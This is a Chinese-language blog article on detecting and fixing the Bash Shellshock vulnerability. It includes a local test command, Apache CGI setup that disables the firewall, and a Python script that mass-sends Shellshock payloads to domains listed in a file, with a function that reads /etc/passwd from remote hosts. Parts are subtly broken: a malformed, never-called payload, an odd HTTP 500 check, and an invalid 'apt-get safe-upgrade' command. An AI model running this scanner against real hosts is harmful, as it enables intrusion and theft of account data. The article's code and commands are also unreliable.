Bash破壳漏洞检测
简介
Bash破壳漏洞(也称为Shellshock)是一种严重的安全漏洞,影响多个主流Linux和Mac OS X操作系统平台,该漏洞允许攻击者通过环境变量执行任意命令,从而获得系统的完全控制,本文将详细介绍如何检测此漏洞,并提供相关修复建议。
影响版本
Bash破壳漏洞主要影响以下版本的Bash:
版本小于等于4.3的所有Bash版本
受影响的操作系统包括但不限于:
Red Hat Enterprise Linux 4, 5, 6, 7
CentOS 5, 6, 7
Ubuntu 10.04, 12.04, 14.04
Debian 7 (Wheezy), 8 (Jessie)
Fedora 19, 20, 21
Mac OS X 10.10 (Yosemite)
漏洞原理
Bash使用的环境变量是通过函数名称来调用的,当定义一个以“(){”开头的环境变量时,Bash在解析该变量时不会将其视为函数定义的结束,而是继续执行后续的命令,这导致攻击者可以通过构造特定的环境变量值来执行任意命令。
本地测试方法
1、测试语句:在终端中输入以下命令:
$ env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
如果输出结果为:
vulnerable this is a test
则说明系统存在Bash破壳漏洞。
远程检测方法
1、安装Apache服务并配置CGI:
在CentOS 6上,执行以下命令安装Apache和必要的模块:
yum install httpd mod_ssl -y service iptables stop
修改httpd.conf
文件,设置CGI支持:
ScriptAlias /cgi-bin/ "/var/www/cgi-bin/" <Directory "/var/www/cgi-bin"> AllowOverride None Options +ExecCGI </Directory> AddHandler cgi-script .cgi .pl .py
创建POC.cgi文件,内容如下:
#!/bin/bash echo "Content-type: text/html" echo "" echo '<html><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><title>PoC</title></head><body><pre>' /usr/bin/env echo '</pre></body></html>'
重启Apache服务:
service httpd restart
2、批量测试:可以使用Python脚本进行批量测试,以下是一个示例脚本:
import urllib.parse
import urllib.request
import ssl
from socket import timeout
import http.client
domain_list = []
result = []
def read_file(file_path):
with open(file_path, 'r') as source:
for line in source:
domain_list.append(line.strip())
def bash_exp(url):
hostname, urlpath = urllib.parse.urlsplit(url)[1:3]
try:
conn = http.client.HTTPConnection(hostname, timeout=20)
headers = {"User-Agent": '() { :;}; echo vulnerable /bin/bash -c "echo this is a test"'}
conn.request("GET", urlpath, headers=headers)
res = conn.getresponse()
if res and res.status == 500:
print("{host} : discover Vulnerable! ".format(host=hostname))
result.append(hostname)
else:
print("{host} : No Bash Vulnerable! ".format(host=hostname))
except Exception as e:
print("{host} is {err}".format(host=hostname, err=e))
def cat_passwd(hostname, urlpath):
print("cat /etc/passwd :")
conn3 = http.client.HTTPConnection(hostname, timeout=20)
headers3 = {"User-Agent": "() { :;}; echo/bin/cat /etc/passwd
"}
conn3.request("GET", urlpath, headers=headers3)
res3 = conn3.getresponse()
res = res3.getheaders()
for passwdstr in res:
print(passwdstr[0] + ':' + passwdstr[1])
if __name__ == '__main__':
read_file("attck.txt")
for domain in domain_list:
bash_exp("http://" + domain + "/cgi-bin/POC.cgi")
将上述脚本保存为check_bash_vuln.py
,并运行它,脚本会读取attck.txt
文件中的域名列表,并对每个域名执行漏洞检测。
修复方法
1、更新Bash:对于Debian及其衍生版,运行以下命令:
sudo apt-get update && sudo apt-get safe-upgrade bash
对于基于Red Hat的发行版,运行以下命令:
sudo yum update bash
更新完成后,建议重新启动系统以确保补丁生效。
2、临时解决方案:如果不能立即更新Bash,可以暂时使用其他shell,如/bin/dash
或/bin/zsh
,直到修复补丁发布。
Bash破壳漏洞是一个严重的安全漏洞,允许攻击者通过环境变量执行任意命令,通过上述方法,可以有效检测并修复此漏洞,建议用户尽快更新Bash版本,以确保系统安全。
以上内容就是解答有关“bash破壳漏洞检测”的详细内容了,我相信这篇文章可以为您解决一些疑惑,有任何问题欢迎留言反馈,谢谢阅读。
原创文章,作者:K-seo,如若转载,请注明出处:https://www.kdun.cn/ask/709125.html